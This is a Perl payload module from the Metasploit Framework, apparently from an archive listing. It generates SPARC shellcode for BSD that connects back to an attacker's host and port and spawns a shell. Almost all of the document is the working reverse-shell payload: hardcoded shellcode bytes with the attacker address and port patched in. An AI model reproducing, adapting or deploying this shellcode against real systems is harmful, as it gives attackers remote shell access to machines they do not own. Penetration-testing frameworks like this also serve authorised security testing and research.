home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::bsd_sparc_reverse;
-
- use base 'Msf::PayloadComponent::ReverseConnection';
- use strict;
- use Pex::SPARC;
-
- my $info =
- {
- 'Name' => 'BSD SPARC Reverse Shell',
- 'Version' => '$Revision: 1.4 $',
- 'Description' => 'Connect back to attacker and spawn a shell',
- 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
- 'Arch' => [ 'sparc' ],
- 'Priv' => 0,
- 'OS' => [ 'bsd' ],
- 'Size' => '',
- };
-
- sub new {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHashRec($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build {
- my $self = shift;
- return($self->Generate($self->GetVar('LHOST'), $self->GetVar('LPORT')));
- }
-
- sub Generate {
- my $self = shift;
- my $host = shift;
- my $port = shift;
-
- my $host_bin = unpack("N", gethostbyname($host));
-
- my $shellcode =
- "\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02".
- "\x82\x10\x20\x61\x91\xd0\x20\x08\xd0\x23\xbf\xf8\x92\x10\x20\x03".
- "\x92\xa2\x60\x01\x82\x10\x20\x5a\x91\xd0\x20\x08\x12\xbf\xff\xfd".
- "\xd0\x03\xbf\xf8".
- Pex::SPARC::Set(0xff020000 | $port, "l0").
- Pex::SPARC::Set($host_bin, "l1").
- "\xe0\x3b\xbf\xf0\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\x62".
- "\x91\xd0\x20\x08\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a\xa0\x14\x21\x6e".
- "\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0".
- "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
-
-
- return $shellcode;
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate('127.0.0.1', 4444);
- return(length($bin));
- }
-
- 1;
-